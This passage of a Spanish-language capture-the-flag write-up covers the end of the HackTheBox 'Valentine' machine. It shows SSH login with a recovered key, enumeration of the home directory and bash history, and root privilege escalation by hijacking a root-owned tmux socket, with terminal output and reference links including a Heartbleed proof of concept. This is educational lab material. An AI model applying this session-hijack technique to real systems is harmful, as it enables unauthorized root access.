No podía entrar al servicio SSH porque al parecer, necesitas hacer un archivo con unas líneas de código para que el SSH acepte llaves tipo rsa, aquí lo explican mejor que yo:
Entonces crea el archivo config y añade las 2 líneas de código que mencionan:
nano ~/.ssh/config
Host *
PubkeyAcceptedKeyTypes=+ssh-rsa
HostKeyAlgorithms=+ssh-rsa
Guarda y cierra.
Ahora trata de entrar:
ssh hype@10.10.10.79 -i id_rsa
Enter passphrase for key 'id_rsa':
Welcome to Ubuntu 12.04 LTS (GNU/Linux 3.2.0-23-generic x86_64)
* Documentation: https://help.ubuntu.com/
New release '14.04.5 LTS' available.
Run 'do-release-upgrade' to upgrade to it.
Last login: Fri Feb 16 14:50:29 2018 from 10.10.14.3
hype@Valentine:~$ ls
Desktop Documents Downloads Music Pictures Public Templates user.txt Videos
hype@Valentine:~$ cd Desktop/
hype@Valentine:~/Desktop$ ls
user.txt
hype@Valentine:~/Desktop$ cat user.txt
Listo, tenemos la flag del usuario. Busquemos como escalar privilegios.
Post Explotación
Enumerando Máquina y Escalando Privilegios con Tmux
Tratemos de ver nuestros privilegios:
hype@Valentine:~/Desktop$ id
uid=1000(hype) gid=1000(hype) groups=1000(hype),24(cdrom),30(dip),46(plugdev),124(sambashare)
hype@Valentine:~/Desktop$ sudo -l
[sudo] password for hype:
Sorry, try again.
Mmmmm esto va a estar complicado, veamos si no hay un archivo oculto por ahí:
hype@Valentine:~/Desktop$ cd ..
hype@Valentine:~$ ls -la
total 192
drwxr-xr-x 21 hype hype 4096 Apr 21 15:04 .
drwxr-xr-x 3 root root 4096 Dec 11 2017 ..
-rw------- 1 hype hype 131 Feb 16 2018 .bash_history
-rw-r--r-- 1 hype hype 220 Dec 11 2017 .bash_logout
-rw-r--r-- 1 hype hype 3486 Dec 11 2017 .bashrc
drwx------ 11 hype hype 4096 Dec 11 2017 .cache
drwx------ 9 hype hype 4096 Dec 11 2017 .config
drwx------ 3 hype hype 4096 Dec 11 2017 .dbus
drwxr-xr-x 2 hype hype 4096 Aug 25 2022 Desktop
-rw-r--r-- 1 hype hype 26 Dec 11 2017 .dmrc
drwxr-xr-x 2 hype hype 4096 Dec 11 2017 Documents
drwxr-xr-x 2 hype hype 4096 Dec 11 2017 Downloads
drwxr-xr-x 2 hype hype 4096 Dec 11 2017 .fontconfig
drwx------ 3 hype hype 4096 Dec 11 2017 .gconf
drwx------ 4 hype hype 4096 Dec 11 2017 .gnome2
-rw-rw-r-- 1 hype hype 132 Dec 11 2017 .gtk-bookmarks
drwx------ 2 hype hype 4096 Dec 11 2017 .gvfs
-rw------- 1 hype hype 636 Dec 11 2017 .ICEauthority
drwxr-xr-x 3 hype hype 4096 Dec 11 2017 .local
drwx------ 3 hype hype 4096 Dec 11 2017 .mission-control
drwxr-xr-x 2 hype hype 4096 Dec 11 2017 Music
drwxr-xr-x 2 hype hype 4096 Dec 11 2017 Pictures
-rw-r--r-- 1 hype hype 675 Dec 11 2017 .profile
drwxr-xr-x 2 hype hype 4096 Dec 11 2017 Public
drwx------ 2 hype hype 4096 Dec 11 2017 .pulse
-rw------- 1 hype hype 256 Dec 11 2017 .pulse-cookie
drwx------ 2 hype hype 4096 Dec 13 2017 .ssh
drwxr-xr-x 2 hype hype 4096 Dec 11 2017 Templates
-rw-rw-r-- 1 hype hype 26 Apr 21 15:04 tmux-client-5340.log
-rw-r--r-- 1 root root 39 Dec 13 2017 .tmux.conf
-rw-rw-r-- 1 hype hype 37799 Apr 21 15:04 tmux-server-5342.log
-rw-rw-r-- 1 hype hype 33 Apr 21 11:07 user.txt
drwxr-xr-x 2 hype hype 4096 Dec 11 2017 Videos
-rw------- 1 hype hype 0 Dec 11 2017 .Xauthority
-rw------- 1 hype hype 12173 Dec 11 2017 .xsession-errors
-rw------- 1 hype hype 9659 Dec 11 2017 .xsession-errors.old
Hay muchas cosas, pero una me llama la atención, es el .bash_history, ya que normalmente, solo el Root lo puede ver.
Vamos a verlo:
hype@Valentine:~$ cat .bash_history
exit
exot
exit
ls -la
cd /
ls -la
cd .devs
ls -la
tmux -L dev_sess
tmux a -t dev_sess
tmux --help
tmux -S /.devs/dev_sess
exit
No sé qué es eso de tmux, vamos a investigarlo:
Tmux |
---|
tmux es un multiplexor de terminal para sistemas tipo unix, similar a GNU Screen o Byobu que permite dividir una consola en múltiples secciones o generar sesiones independientes en la misma terminal. |
Me recuerda a la herramienta Terminator que divide las terminales, supongo que es similar.
Ahora, busquemos si se pueden escalar privilegios.
Encontré dos cosas:
- Un Exploit que sirve para las versiones 1.3 y 1.4, veamos que versión de tmux usa esta máquina:
hype@Valentine:~$ tmux -V tmux 1.6
Mmmmm quizá no sirva.
- Este blog: Day 69: Hijacking Tmux Sessions 2 Priv. Esc.
El blog explica como escalar privilegios usando un comando de tmux, que es el mismo que aparece en el historial.
Vamos a usarlo:
hype@Valentine:~$ tmux -S /.devs/dev_sess
root@Valentine:/home/hype# whoami
root
root@Valentine:/home/hype# cd /root
root@Valentine:~# ls
curl.sh root.txt
root@Valentine:~# cat root.txt
Wow, nos metió como a otra consola y somos Root. Bueno, ahí está la flag y con esto terminamos la máquina.
Links de Investigación
- https://www.enmimaquinafunciona.com/pregunta/182823/sed-para-eliminar-los-espacios-en-blanco
- https://sniferl4bs.com/2020/07/password-cracking-101-john-the-ripper-password-cracking-ssh-keys/
- https://github.com/openwall/john/blob/bleeding-jumbo/run/ssh2john.py
- https://github.com/mpgn/heartbleed-PoC
- https://geekland.eu/uso-del-comando-grep-en-linux-y-unix-con-ejemplos/
- https://stackoverflow.com/questions/73795935/sign-and-send-pubkey-no-mutual-signature-supported
- https://stackoverflow.com/questions/26705755/tmux-how-do-i-find-out-the-currently-running-version-of-tmux
- https://int0x33.medium.com/day-69-hijacking-tmux-sessions-2-priv-esc-f05893c4ded0